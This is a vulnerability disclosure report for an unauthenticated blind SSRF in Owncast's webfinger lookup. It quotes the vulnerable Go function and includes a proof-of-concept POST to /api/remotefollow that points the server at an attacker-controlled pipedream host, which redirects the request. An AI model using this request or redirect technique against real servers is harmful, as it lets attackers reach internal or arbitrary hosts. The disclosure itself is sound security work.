Unauthenticated Blind SSRF in owncast/owncast
Reported on
Jun 7th 2023
Description
The Oxeye research team found Owncast vulnerable to an Unauthenticated Blind SSRF vulnerability. This vulnerability may allow an unauthenticated attacker to force the Owncast server to send HTTP requests to arbitrary locations using the GET HTTP method. This vulnerability also allows the attacker to send the requests while specifying arbitrary URL paths and query parameters.
Proof of Concept
The vulnerable code is located in the GetWebfingerLinks function - https://github.com/owncast/owncast/blob/46864d18d9dcbba4ca990f58c8896d3d2f81d8aa/activitypub/webfinger/webfinger.go#LL22C8-L22C8
package webfinger
import (
"encoding/json"
"fmt"
"net/http"
"net/url"
"strings"
)
// GetWebfingerLinks will return webfinger data for an account.
func GetWebfingerLinks(account string) ([]map[string]interface{}, error) {
type webfingerResponse struct {
Links []map[string]interface{} `json:"links"`
}
account = strings.TrimLeft(account, "@") // remove any leading @
accountComponents := strings.Split(account, "@")
fediverseServer := accountComponents[1]
// HTTPS is required.
requestURL, err := url.Parse("https://" + fediverseServer)
if err != nil {
return nil, fmt.Errorf("unable to parse fediverse server host %s", fediverseServer)
}
requestURL.Path = "/.well-known/webfinger"
query := requestURL.Query()
query.Add("resource", fmt.Sprintf("acct:%s", account))
requestURL.RawQuery = query.Encode()
response, err := http.DefaultClient.Get(requestURL.String())
if err != nil {
return nil, err
}
defer response.Body.Close()
var links webfingerResponse
decoder := json.NewDecoder(response.Body)
if err := decoder.Decode(&links); err != nil {
return nil, err
}
return links.Links, nil
}
As can be seen from the code above, the user-controlled input passed within the parameter name account is parsed as a URL, and later on, in line 32, an HTTP request is issued to the specified host.
Although Owncast attempts to limit the request URL to a specific path, and also the protocol schema to allow the https only, by pointing the request to an HTTPS server that will return an HTTP redirect status code, it is possible to redirect the request to use the http protocol scheme, to use basic authentication with attacker-specified credentials and also allows to redirect the request to the arbitrary URL path.
To demonstrate the above, we set up an HTTPS server using “pipedream.com” and instructed it to redirect the incoming request. Given an HTTP request, we send a 301 status code and a Location header, redirecting the request to our own controlled server.
We then issue the following HTTP request to Owncast to make it issue the initial HTTPS request to our “pipedream” instance:
POST /api/remotefollow HTTP/1.1
Host: owncast.local:8282
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 49
{"account":"a@eol8492ef2cv6mg.m.pipedream.net"}
Our HTTP listener received the redirected request, which was sent while:
- Using the
http
protocol schema - Supplying basic authentication credentials that we specified
- Using a URL path of our own choice
Credits
Impact
This vulnerability allows an unauthenticated attacker to force the Owncast server to send HTTP requests to arbitrary locations using the GET HTTP method. This vulnerability also allows the attacker to send the requests while specifying arbitrary URL paths and query parameters.
SECURITY.md
exists
6 months ago